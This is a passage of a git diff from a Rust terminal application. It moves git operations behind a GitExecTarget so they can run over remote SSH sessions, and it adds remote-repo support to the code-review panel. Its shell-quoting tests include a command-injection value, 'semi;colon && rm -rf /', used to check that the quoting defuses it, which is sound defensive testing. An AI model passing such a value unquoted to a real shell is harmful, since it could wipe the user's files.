&format!("{candidate}^{{}}")], - ) - .await; + let result = target + .run_git(&["rev-parse", "--verify", &format!("{candidate}^{{}}")]) + .await; if result.is_ok() { return Ok(candidate.to_string()); @@ -190,23 +345,13 @@ pub async fn detect_main_branch(repo_path: &Path) -> Result { // Final fallback if all else fails. log::debug!("[GIT OPERATION] git.rs detect_main_branch git branch --show-current"); - run_git_command(repo_path, &["branch", "--show-current"]).await + target.run_git(&["branch", "--show-current"]).await } /// Returns the SHA where `HEAD` forked from any other ref. Use /// `..HEAD` for "commits unique to this branch". -#[cfg(not(feature = "local_fs"))] pub async fn detect_fork_point( - _repo_path: &Path, - _current_branch_name: Option<&str>, -) -> Result> { - Err(anyhow!("Not supported without local_fs")) -} - -/// See the no-`local_fs` stub above for documentation. -#[cfg(feature = "local_fs")] -pub async fn detect_fork_point( - repo_path: &Path, + target: &GitExecTarget, current_branch_name: Option<&str>, ) -> Result> { // Exclude `` and `origin/` so the branch isn't @@ -224,7 +369,7 @@ pub async fn detect_fork_point( args.extend(remote_exclude.as_deref()); args.push("--remotes"); - let unique = match run_git_command(repo_path, &args).await { + let unique = match target.run_git(&args).await { Ok(out) => out, Err(e) => { log::debug!("detect_fork_point: rev-list failed: {e}"); @@ -234,11 +379,12 @@ pub async fn detect_fork_point( // Last non-empty line = oldest unique commit; its parent = fork point. // No unique commits means HEAD is fully shared, so fork = HEAD. - let target = match unique.lines().rfind(|l| !l.trim().is_empty()) { + let rev = match unique.lines().rfind(|l| !l.trim().is_empty()) { Some(sha) => format!("{}^", sha.trim()), None => "HEAD".to_string(), }; - Ok(run_git_command(repo_path, &["rev-parse", &target]) + Ok(target + .run_git(&["rev-parse", &rev]) .await .ok() .map(|s| s.trim().to_string())) @@ -387,23 +533,20 @@ pub async fn get_file_change_entries( } /// Unpushed commits: `..HEAD`, or `..HEAD` if no upstream. -#[cfg(feature = "local_fs")] pub async fn get_unpushed_commits( - repo_path: &Path, + target: &GitExecTarget, current_branch_name: Option<&str>, upstream_ref: Option<&str>, ) -> Result> { let output = if let Some(upstream_ref) = upstream_ref.map(str::trim).filter(|s| !s.is_empty()) { let range = format!("{upstream_ref}..HEAD"); - run_git_command( - repo_path, - &["log", &range, "--format=COMMIT:%H\t%s", "--numstat"], - ) - .await? + target + .run_git(&["log", &range, "--format=COMMIT:%H\t%s", "--numstat"]) + .await? } else { // No upstream — fall back to the fork-point commit so we show // exactly the commits unique to this branch - let fork_point = detect_fork_point(repo_path, current_branch_name) + let fork_point = detect_fork_point(target, current_branch_name) .await .ok() .flatten(); @@ -413,18 +556,15 @@ pub async fn get_unpushed_commits( None => "HEAD".to_string(), }; - run_git_command( - repo_path, - &["log", &range, "--format=COMMIT:%H\t%s", "--numstat"], - ) - .await - .inspect_err(|e| log::warn!("Fallback unpushed-commits log failed: {e}")) - .unwrap_or_default() + target + .run_git(&["log", &range, "--format=COMMIT:%H\t%s", "--numstat"]) + .await + .inspect_err(|e| log::warn!("Fallback unpushed-commits log failed: {e}")) + .unwrap_or_default() }; parse_commit_log(&output) } -#[cfg(feature = "local_fs")] fn parse_commit_log(output: &str) -> Result> { let mut commits = Vec::new(); let mut current: Option = None; @@ -464,15 +604,6 @@ fn parse_commit_log(output: &str) -> Result> { Ok(commits) } -#[cfg(not(feature = "local_fs"))] -pub async fn get_unpushed_commits( - _repo_path: &Path, - _current_branch_name: Option<&str>, - _upstream_ref: Option<&str>, -) -> Result> { - Err(anyhow!("Not supported on wasm")) -} - /// Returns the list of files changed in a specific commit, with per-file stats. #[cfg(feature = "local_fs")] pub async fn get_commit_files(repo_path: &Path, hash: &str) -> Result> { @@ -683,9 +814,9 @@ pub async fn run_commit( /// `origin/` (or HEAD when unpushed). #[cfg(feature = "local_fs")] pub async fn get_branch_diff_entries(repo_path: &Path) -> Result> { - let base = detect_main_branch(repo_path).await?; + let base = detect_main_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; let base = base.trim(); - let current = detect_current_branch(repo_path).await?; + let current = detect_current_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; let remote_ref = format!("origin/{current}"); // Use the remote ref if it exists, otherwise fall back to HEAD. @@ -828,9 +959,9 @@ pub async fn get_pr_for_branch( /// truncated for AI token limits. #[cfg(feature = "local_fs")] pub async fn get_diff_for_pr(repo_path: &Path) -> Result { - let base = detect_main_branch(repo_path).await?; + let base = detect_main_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; let base = base.trim(); - let current = detect_current_branch(repo_path).await?; + let current = detect_current_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; let remote_ref = format!("origin/{current}"); let end_ref = if run_git_command(repo_path, &["rev-parse", "--verify", &remote_ref]) @@ -861,7 +992,7 @@ pub async fn get_diff_for_pr(_repo_path: &Path) -> Result { /// Commit subject lines on the current branch since the default branch. #[cfg(feature = "local_fs")] pub async fn get_branch_commit_messages(repo_path: &Path) -> Result> { - let base = detect_main_branch(repo_path).await?; + let base = detect_main_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; let base = base.trim(); let range = format!("{base}..HEAD"); let output = run_git_command(repo_path, &["log", &range, "--format=%s"]).await?; @@ -887,7 +1018,7 @@ pub async fn create_pr( body: Option<&str>, path_env: Option<&str>, ) -> Result { - let base = detect_main_branch(repo_path).await?; + let base = detect_main_branch(&GitExecTarget::local(repo_path.to_path_buf())).await?; let base = base.trim(); let base = base.strip_prefix("origin/").unwrap_or(base); let sanitized_title; diff --git a/app/src/util/git_tests.rs b/app/src/util/git_tests.rs index 0610a6b5f70..747b1577c02 100644 --- a/app/src/util/git_tests.rs +++ b/app/src/util/git_tests.rs @@ -4,7 +4,7 @@ use command::r#async::Command; use command::Stdio; use tempfile::TempDir; -use super::{detect_current_branch, detect_current_branch_display}; +use super::{detect_current_branch, detect_current_branch_display, GitExecTarget}; /// Helper: run a git command inside the given repo directory. async fn git(repo: &Path, args: &[&str]) -> String { @@ -37,7 +37,12 @@ async fn on_normal_branch_returns_branch_name() { let (_dir, repo) = init_repo().await; git(&repo, &["checkout", "-b", "feature-xyz"]).await; - assert_eq!(detect_current_branch(&repo).await.unwrap(), "feature-xyz"); + assert_eq!( + detect_current_branch(&GitExecTarget::local(repo.clone())) + .await + .unwrap(), + "feature-xyz" + ); assert_eq!( detect_current_branch_display(&repo).await.unwrap(), "feature-xyz" @@ -49,7 +54,12 @@ async fn detached_head_raw_returns_head() { let (_dir, repo) = init_repo().await; git(&repo, &["checkout", "--detach", "HEAD"]).await; - assert_eq!(detect_current_branch(&repo).await.unwrap(), "HEAD"); + assert_eq!( + detect_current_branch(&GitExecTarget::local(repo.clone())) + .await + .unwrap(), + "HEAD" + ); } #[tokio::test] @@ -85,3 +95,99 @@ async fn detached_tag_display_returns_short_sha() { "expected {full_sha} to start with {result}" ); } + +/// Tests for the remote git-execution path (shell quoting + output mapping). +/// These cover the chokepoint logic without a live `RemoteServerClient`. +#[cfg(feature = "local_fs")] +mod remote_exec { + use super::super::{build_remote_git_command, map_remote_git_output, shell_quote}; + + /// Round-trips `arg` through a POSIX shell: quote it, then have `sh` echo it + /// back verbatim. Verifies the remote shell would receive exactly the same + /// argv git would have gotten locally. + fn sh_roundtrip(arg: &str) -> String { + let quoted = shell_quote(arg); + let output = std::process::Command::new("sh") + .arg("-c") + .arg(format!("printf %s {quoted}")) + .output() + .expect("failed to run sh"); + String::from_utf8(output.stdout).expect("sh output not utf-8") + } + + #[test] + fn shell_quote_roundtrips_through_posix_shell() { + for arg in [ + "simple", + "with space.txt", + "a/b/c.rs", + "--cached", + "--", + "feature/my-branch", + "weird'quote", + "ünîcödé.txt", + "tab\tinside", + "dollar$var", + "semi;colon && rm -rf /", + "back`tick`", + "new\nline", + "glob*?[chars]", + ] { + assert_eq!(sh_roundtrip(arg), arg, "round-trip failed for {arg:?}"); + } + } + + #[test] + fn shell_quote_passes_safe_args_unquoted() { + assert_eq!(shell_quote("rev-parse"), "rev-parse"); + assert_eq!(shell_quote("HEAD"), "HEAD"); + assert_eq!(shell_quote("origin/main"), "origin/main"); + assert_eq!(shell_quote("a.b_c-1"), "a.b_c-1"); + } + + #[test] + fn shell_quote_quotes_empty_arg() { + assert_eq!(shell_quote(""), "''"); + assert_eq!(sh_roundtrip(""), ""); + } + + #[test] + fn build_remote_git_command_quotes_each_arg() { + let cmd = build_remote_git_command(&["diff", "--", "a b.txt"]); + assert_eq!(cmd, "git -c diff.autoRefreshIndex=false diff -- 'a b.txt'"); + } + + #[test] + fn map_remote_output_matches_local_exit_code_rules() { + // exit 0 => ok with stdout + assert_eq!(map_remote_git_output(b"out", b"", Some(0)).unwrap(), "out"); + // exit 0 empty => ok empty + assert_eq!(map_remote_git_output(b"", b"", Some(0)).unwrap(), ""); + // exit 1 with stdout => ok (git diff "differences found") + assert_eq!( + map_remote_git_output(b"diff", b"", Some(1)).unwrap(), + "diff" + ); + // exit 1 empty stdout => error + assert!(map_remote_git_output(b"", b"err", Some(1)).is_err()); + // exit 2 => error even with stdout + assert!(map_remote_git_output(b"x", b"fatal", Some(2)).is_err()); + // killed by signal (None exit code) => error + assert!(map_remote_git_output(b"x", b"", None).is_err()); + } + + #[test] + fn map_remote_output_preserves_binary_and_null_payloads() { + // Binary-diff marker passes through unchanged so the binary-file + // detection above the chokepoint behaves identically. + let binary = b"Binary files a/img.png and b/img.png differ\n"; + let out = map_remote_git_output(binary, b"", Some(1)).unwrap(); + assert!(out.contains("Binary files ") && out.contains(" differ")); + + // `-z` NUL-delimited status payload round-trips byte-for-byte so the + // downstream null-split parsing sees identical input. + let status = b"1 .M N... 100644 100644 100644 aaa bbb file one.txt\0"; + let out = map_remote_git_output(status, b"", Some(0)).unwrap(); + assert_eq!(out.as_bytes(), status); + } +} diff --git a/app/src/workspace/view.rs b/app/src/workspace/view.rs index 9a0fb455aaf..4874aa08b23 100644 --- a/app/src/workspace/view.rs +++ b/app/src/workspace/view.rs @@ -7823,15 +7823,20 @@ impl Workspace { } // If context is provided, use it directly. Otherwise, derive from active pane group. + // The trailing `Option` is the warpified-remote repo root (when + // the context was resolved remotely), used to register that root as a + // selectable repo on the panel. let context_data: Option<( Option, ModelHandle, WeakViewHandle, + Option, )> = if let Some(context) = context { Some(( context.repo_path.clone(), context.diff_state_model.clone(), context.terminal_view.clone(), + None, )) } else { let active_pane_group = self.active_tab_pane_group().clone(); @@ -7845,18 +7850,37 @@ impl Workspace { // Resolve DiffStateModel outside the read closure (needs mutable context). read_result.and_then( |(repo_path, terminal_view): (Option, WeakViewHandle)| { - let diff_state_model = repo_path.as_ref().and_then(|rp: &PathBuf| { - self.working_directories_model.update(ctx, |model, ctx| { - model.get_or_create_diff_state_model(rp.clone(), ctx) - }) - })?; - Some((repo_path, diff_state_model, terminal_view)) + if let Some(rp) = repo_path.as_ref() { + let diff_state_model = + self.working_directories_model.update(ctx, |model, ctx| { + model.get_or_create_diff_state_model(rp.clone(), ctx) + })?; + return Some((repo_path, diff_state_model, terminal_view, None)); + } + // No local repo detected. Fall back to a warpified remote + // (SSH) repository, if the active session has one. + #[cfg(feature = "local_fs")] + if let Some((remote_repo_path, diff_state_model)) = + self.remote_code_review_context(&terminal_view, ctx) + { + return Some(( + Some(remote_repo_path.clone()), + diff_state_model, + terminal_view, + Some(remote_repo_path), + )); + } + None }, ) }; - if let Some((repo, diff_state_model, terminal_view)) = context_data { + if let Some((repo, diff_state_model, terminal_view, remote_repo_root)) = context_data { self.right_panel_view.update(ctx, |right_pane_view, ctx| { + // Register the remote root (or clear a stale one) before opening + // so it is present in `available_repos` and survives the gate. + #[cfg(feature = "local_fs")] + right_pane_view.set_remote_repo_root(remote_repo_root, ctx); right_pane_view.open_code_review( repo.clone(), diff_state_model, @@ -7866,11 +7890,49 @@ impl Workspace { }); } else { self.right_panel_view.update(ctx, |right_panel_view, ctx| { + #[cfg(feature = "local_fs")] + right_panel_view.set_remote_repo_root(None, ctx); right_panel_view.close_code_review(ctx); }) } } + /// Resolves the code-review context for a warpified remote (SSH) session: + /// the `(host, root)` tracked on the terminal view plus a connected remote + /// client become a remote-backed [`DiffStateModel`]. The returned `PathBuf` + /// is the remote root used purely as the panel's repo identity (never the + /// local filesystem). Returns `None` for local sessions, non-warpified SSH, + /// or before the remote repo root has been resolved. + #[cfg(feature = "local_fs")] + fn remote_code_review_context( + &mut self, + terminal_view: &WeakViewHandle, + ctx: &mut ViewContext, + ) -> Option<(PathBuf, ModelHandle)> { + let terminal_view = terminal_view.upgrade(ctx)?; + let (host_id, root, session_id) = terminal_view.read(ctx, |tv, _| { + let (host_id, root) = tv.current_remote_repo()?; + let session_id = tv.active_block_session_id()?; + Some((host_id.clone(), root.to_string(), session_id)) + })?; + + let client = RemoteServerManager::as_ref(ctx) + .client_for_session(session_id)? + .clone(); + + let diff_state_model = self.working_directories_model.update(ctx, |model, ctx| { + model.get_or_create_remote_diff_state_model( + client, + session_id, + host_id, + root.clone(), + ctx, + ) + })?; + + Some((PathBuf::from(root), diff_state_model)) + } + fn open_code_review_panel_from_arg( &mut self, panel_context: &CodeReviewPanelArg, @@ -13832,7 +13894,12 @@ impl Workspace { #[cfg(feature = "local_fs")] { self.right_panel_view.update(ctx, |right_panel, ctx| { - right_panel.update_session_env(is_remote, is_wsl_session, ctx); + right_panel.update_session_env( + is_remote, + is_wsl_session, + has_remote_server, + ctx, + ); }); if self.active_tab_pane_group().as_ref(ctx).right_panel_open { @@ -13854,7 +13921,7 @@ impl Workspace { #[cfg(feature = "local_fs")] { self.right_panel_view.update(ctx, |right_panel, ctx| { - right_panel.update_session_env(false, false, ctx); + right_panel.update_session_env(false, false, false, ctx); }); } } diff --git a/app/src/workspace/view/right_panel.rs b/app/src/workspace/view/right_panel.rs index 4127a1bd24e..8c257858a9d 100644 --- a/app/src/workspace/view/right_panel.rs +++ b/app/src/workspace/view/right_panel.rs @@ -122,6 +122,13 @@ impl ReviewTerminalStatus { struct CodeReviewState { dropdown: ViewHandle>, available_repos: Vec, + /// Root of the active warpified-remote (SSH) repository, if any. Tracked + /// separately from `available_repos` because that list is built from local + /// detection, which never reports remote roots. It is merged into + /// `available_repos` so the dropdown, selection, and render gate all accept + /// a remote repo. `None` for local / non-warpified sessions. + #[cfg_attr(not(feature = "local_fs"), allow(dead_code))] + remote_repo_root: Option, /// The repository path of the focused terminal focused_repo_path: Option, /// The repository path of the repository selected in the dropdown @@ -134,6 +141,10 @@ struct CodeReviewState { struct CodeReviewSessionEnv { is_remote: bool, is_wsl: bool, + /// `true` for warpified SSH (a connected remote server), where diffs can be + /// rendered remotely. Distinguishes the supported case from plain tmux / + /// subshell SSH, which keeps the "local workspaces only" message. + has_remote_server: bool, } impl CodeReviewState { @@ -161,6 +172,7 @@ impl CodeReviewState { dropdown }), available_repos: vec![], + remote_repo_root: None, selected_repo_path: None, focused_repo_path: None, did_focused_repo_change: false, @@ -176,7 +188,16 @@ impl CodeReviewState { } #[cfg(feature = "local_fs")] - fn set_available_repos(&mut self, repos: Vec, ctx: &mut ViewContext) { + fn set_available_repos(&mut self, mut repos: Vec, ctx: &mut ViewContext) { + // The incoming list comes from local detection, which never includes + // the active warpified-remote repo. Keep that root present so the + // selection survives and the render gate accepts it. + if let Some(remote) = &self.remote_repo_root { + if !repos.contains(remote) { + repos.push(remote.clone()); + } + } + let should_clear = self .selected_repo_path .as_ref() @@ -197,6 +218,38 @@ impl CodeReviewState { } } + /// Records the active warpified-remote repository root (or clears it when + /// the active session is local / non-warpified). The root is merged into + /// `available_repos` via [`Self::set_available_repos`] so the dropdown and + /// render gate treat it like any other selectable repo. + #[cfg(feature = "local_fs")] + fn set_remote_repo_root( + &mut self, + root: Option, + ctx: &mut ViewContext, + ) { + if self.remote_repo_root == root { + return; + } + let previous = self.remote_repo_root.take(); + // If the now-stale remote root was selected, drop the selection so + // set_available_repos can re-pick (the new remote root, or a local one). + if self.selected_repo_path.is_some() && self.selected_repo_path == previous { + self.selected_repo_path = None; + } + self.remote_repo_root = root; + + // Re-derive the local-only list (everything except the old remote root) + // and let set_available_repos merge in the new remote root. + let local_repos: Vec = self + .available_repos + .iter() + .filter(|r| previous.as_deref() != Some(r.as_path())) + .cloned() + .collect(); + self.set_available_repos(local_repos, ctx); + } + #[cfg(not(feature = "local_fs"))] pub fn set_selected_repo( &mut self, @@ -457,12 +510,28 @@ impl RightPanelView { &mut self, is_remote: bool, is_wsl: bool, + has_remote_server: bool, ctx: &mut ViewContext, ) { - self.code_review_session_env = Some(CodeReviewSessionEnv { is_remote, is_wsl }); + self.code_review_session_env = Some(CodeReviewSessionEnv { + is_remote, + is_wsl, + has_remote_server, + }); ctx.notify(); } + /// Sets (or clears) the active warpified-remote repository root on the code + /// review state. Called from `setup_code_review_panel` once the remote repo + /// root has been resolved, so the remote repo becomes a selectable entry in + /// `available_repos` rather than being filtered out by the no-repo gate. + #[cfg(feature = "local_fs")] + pub fn set_remote_repo_root(&mut self, root: Option, ctx: &mut ViewContext) { + if let Some(state) = self.code_review_state.as_mut() { + state.set_remote_repo_root(root, ctx); + } + } + pub fn selected_repo_path(&self) -> Option<&PathBuf> { self.code_review_state .as_ref() @@ -790,7 +859,7 @@ impl RightPanelView { let no_repo_body = { let button = Some(ChildView::new(&self.open_repository_button).finish()); if let Some(env) = &self.code_review_session_env { - if env.is_remote { + if env.is_remote && !env.has_remote_server { CodeReviewView::render_remote_state(appearance, button) } else if env.is_wsl { CodeReviewView::render_wsl_state(appearance, button) @@ -1114,14 +1183,18 @@ impl RightPanelView { terminal_view: WeakViewHandle, ctx: &mut ViewContext, ) -> Option> { - // Early check: if pane group has no active repositories, don't create a view + // Early check: if pane group has no active repositories, don't create a view. + // A warpified-remote (SSH) repo is never in the local repository_roots map, + // so admit it via the remote-backed diff state model — otherwise the panel + // is stuck on the "Loading open changes…" placeholder (no view ever exists). let has_active_repos = self .working_directories_model .as_ref(ctx) .most_recent_repositories_for_pane_group(pane_group_id) .is_some_and(|repos| repos.count() > 0); + let is_remote = diff_state_model.as_ref(ctx).is_remote(); - if !has_active_repos { + if !has_active_repos && !is_remote { return None; } diff --git a/crates/warp_completer/src/parsers/simple/mod.rs b/crates/warp_completer/src/parsers/simple/mod.rs index 4dc2b37b700..d3369354336 100644 --- a/crates/warp_completer/src/parsers/simple/mod.rs +++ b/crates/warp_completer/src/parsers/simple/mod.rs @@ -89,6 +89,21 @@ pub fn all_parsed_commands>( }) } +/// Returns the source command with leading env-var assignments removed. +/// +/// For example, if the source is "PAGER=0 git log", this returns "git log". +pub fn command_without_leading_env_vars>( + source: S, + escape_char: EscapeChar, +) -> Option { + let source = source.as_ref(); + let parser = Parser::new(Lexer::new(source, escape_char, false)); + let mut command = parser.parse().commands.into_iter().next()?; + command.item.remove_leading_env_vars(); + + command.item.source(source) +} + /// Given a `command` string, returns: /// 1. the subcommands that make it up, including the recomposed commands at each level of nesting. /// For example, given "ls $(foo | echo)", this API returns ["foo", "echo", "foo | echo", "ls $(foo | echo)"] @@ -181,11 +196,7 @@ impl Command { } pub fn decompose(self, src: &str) -> Vec { - let this_command = self - .parts - .first() - .zip(self.parts.last()) - .map(|(first, last)| src[first.span.start()..last.span.end()].trim().to_string()); + let this_command = self.source(src); let mut all_commands = vec![]; let mut this_command_has_literal = false; @@ -228,6 +239,13 @@ impl Command { all_commands } + fn source(&self, src: &str) -> Option { + self.parts + .first() + .zip(self.parts.last()) + .map(|(first, last)| src[first.span.start()..last.span.end()].trim().to_string()) + } + /// Removes the leading env-var assignments (i.e. 'KEY=VALUE' literals) from the command. pub fn remove_leading_env_vars(&mut self) { while !self.parts.is_empty() { diff --git a/crates/warp_completer/src/parsers/simple/parser_test.rs b/crates/warp_completer/src/parsers/simple/parser_test.rs index b9d136f21b2..6c456f3cc24 100644 --- a/crates/warp_completer/src/parsers/simple/parser_test.rs +++ b/crates/warp_completer/src/parsers/simple/parser_test.rs @@ -2,7 +2,9 @@ use std::collections::HashSet; use warp_util::path::EscapeChar; -use crate::parsers::simple::{decompose_command, top_level_command}; +use crate::parsers::simple::{ + command_without_leading_env_vars, decompose_command, top_level_command, +}; use super::super::lexer::Lexer; use super::super::{Command, Part}; @@ -162,6 +164,26 @@ fn test_decompose_command() { } } +#[test] +fn test_command_without_leading_env_vars() { + let test_data = vec![ + ("X=1 rm -rf target", Some("rm -rf target")), + ( + "X=1 Y=2 curl https://example.com", + Some("curl https://example.com"), + ), + ("rm -rf target", Some("rm -rf target")), + ("X=1", None), + ]; + + for (input, expected_output) in test_data { + assert_eq!( + command_without_leading_env_vars(input, EscapeChar::Backslash), + expected_output.map(ToString::to_string) + ); + } +} + #[test] fn test_contains_redirection() { let test_data = vec![